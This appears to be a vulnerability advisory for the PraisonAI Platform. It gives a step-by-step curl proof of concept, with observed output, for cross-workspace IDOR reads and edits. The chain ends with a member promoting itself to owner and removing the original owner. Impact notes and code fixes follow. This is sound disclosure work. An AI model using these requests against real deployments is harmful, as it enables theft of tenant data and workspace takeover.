Details
PoC
Prerequisites:
- A running PraisonAI Platform instance with default configuration
- No special configuration required
Server setup:
cd /path/to/PraisonAI
pip install -e "src/praisonai-platform"
python -m uvicorn praisonai_platform.api.app:create_app \
--factory --host 127.0.0.1 --port 8000
Scenario: Full attack chain (IDOR + Privilege Escalation)
Step 1: Victim (CEO) creates workspace with sensitive data
BASE="http://127.0.0.1:8000/api/v1"
# Register CEO
VICTIM=$(curl -sfL -X POST "$BASE/auth/register" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"Secure123!","name":"CEO"}')
VICTIM_TOKEN=$(echo "$VICTIM" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
VICTIM_ID=$(echo "$VICTIM" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])")
# CEO creates workspace with confidential issue
VICTIM_WS=$(curl -sfL -X POST "$BASE/workspaces/" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-d '{"name":"Executive Board"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
ISSUE_ID=$(curl -sfL -X POST "$BASE/workspaces/$VICTIM_WS/issues/" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-d '{"title":"M&A Target List","description":"Acquiring CompanyX for $2B. Board approved. Do not disclose."}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
echo "Victim workspace: $VICTIM_WS"
echo "Secret issue: $ISSUE_ID"
Step 2: Attacker registers and creates their own workspace
ATTACKER=$(curl -sfL -X POST "$BASE/auth/register" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"Evil123!","name":"Attacker"}')
ATK_TOKEN=$(echo "$ATTACKER" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
ATK_ID=$(echo "$ATTACKER" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])")
ATK_WS=$(curl -sfL -X POST "$BASE/workspaces/" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $ATK_TOKEN" \
-d '{"name":"Attacker WS"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
Step 3: IDOR - Attacker reads victim's confidential issue through their own workspace
curl -sfL "$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID" \
-H "Authorization: Bearer $ATK_TOKEN"
Observed output (HTTP 200):
{
"id": "<ISSUE_ID>",
"workspace_id": "<VICTIM_WS>",
"title": "M&A Target List",
"description": "Acquiring CompanyX for $2B. Board approved. Do not disclose.",
"status": "backlog"
}
The response contains the victim's workspace_id, which is different from the workspace in the request URL. The request was scoped to $ATK_WS but returned data from $VICTIM_WS.
Step 4: IDOR - Attacker modifies victim's issue
curl -sfL -X PATCH "$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $ATK_TOKEN" \
-d '{"title":"TAMPERED - M&A Target List"}'
Observed output (HTTP 200): Title updated across workspace boundary.
Step 5: Privilege escalation - CEO adds attacker as member (simulating invite)
curl -sfL -X POST "$BASE/workspaces/$VICTIM_WS/members/" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-d "{\"user_id\":\"$ATK_ID\",\"role\":\"member\"}" > /dev/null
Step 6: Privilege escalation - Member promotes self to owner
PROMO=$(curl -sfL -X PATCH "$BASE/workspaces/$VICTIM_WS/members/$ATK_ID" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $ATK_TOKEN" \
-d '{"role":"owner"}')
echo "$PROMO" | python3 -c "import sys,json; d=json.load(sys.stdin); print(f'Role: {d[\"role\"]}')"
Observed output:
Role: owner
The member used their own member-level token to promote themselves to owner.
Step 7: Privilege escalation - Attacker removes original owner
curl -sLo /dev/null -w "HTTP %{http_code}" -X DELETE \
"$BASE/workspaces/$VICTIM_WS/members/$VICTIM_ID" \
-H "Authorization: Bearer $ATK_TOKEN"
Observed output: HTTP 204 - CEO removed from their own workspace.
Step 8: Verify - Attacker is sole owner
curl -sfL "$BASE/workspaces/$VICTIM_WS/members/" \
-H "Authorization: Bearer $ATK_TOKEN"
Observed output:
[
{
"workspace_id": "<VICTIM_WS>",
"user_id": "<ATK_ID>",
"role": "owner"
}
]
The CEO is locked out. The attacker is now the sole owner of "Executive Board" and all its data.
Impact
- Complete multi-tenant data breach: Any authenticated user can read every issue and project across all workspaces by substituting resource UUIDs. The URL structure (
/workspaces/{workspace_id}/...) implies tenant isolation but provides none. - Cross-workspace data tampering: An attacker can modify issue titles, descriptions, statuses, assignments, and project fields across workspace boundaries.
- Cross-workspace data deletion: An attacker can delete issues and projects belonging to other workspaces.
- Workspace takeover from member role: Any member can self-promote to owner and remove all other owners, gaining sole control of the workspace and everything in it.
- No recovery mechanism: After takeover, the original owner cannot access or recover their workspace. There is no super-admin role, no audit-based rollback, and no last-owner protection.
- Chain amplifies impact: The IDOR does not require membership in the target workspace, only membership in any workspace. The privilege escalation turns that foothold into full ownership. Together, a user with a single member-level invite to any workspace can read all data platform-wide and take ownership of any workspace they are invited to.
---
Suggested Fix
1. Scope all service get/update/delete methods to workspace_id
# issue_service.py, replace get() at line 72:
async def get(self, issue_id: str, workspace_id: str) -> Optional[Issue]:
"""Get issue by ID, scoped to workspace."""
issue = await self._session.get(Issue, issue_id)
if issue is None or issue.workspace_id != workspace_id:
return None
return issue
# Apply the same pattern to update(), delete(), and all ProjectService methods
2. Pass workspace_id from routes to services
# issues.py, fix get_issue at line 82:
issue = await svc.get(issue_id, workspace_id) # Now workspace-scoped
3. Require owner role for member management and add escalation guards
# workspaces.py, fix update_member_role:
user: AuthIdentity = Depends(
lambda **kw: require_workspace_member(**kw, min_role="owner")
)
# Add self-modification and last-owner guards:
if user_id == user.id:
raise HTTPException(403, "Cannot change your own role")
# Fix remove_member:
target = await member_svc.get(workspace_id, user_id)
if target and target.role == "owner":
owners = [m for m in await member_svc.list_members(workspace_id) if m.role == "owner"]
if len(owners) <= 1:
raise HTTPException(403, "Cannot remove the last owner")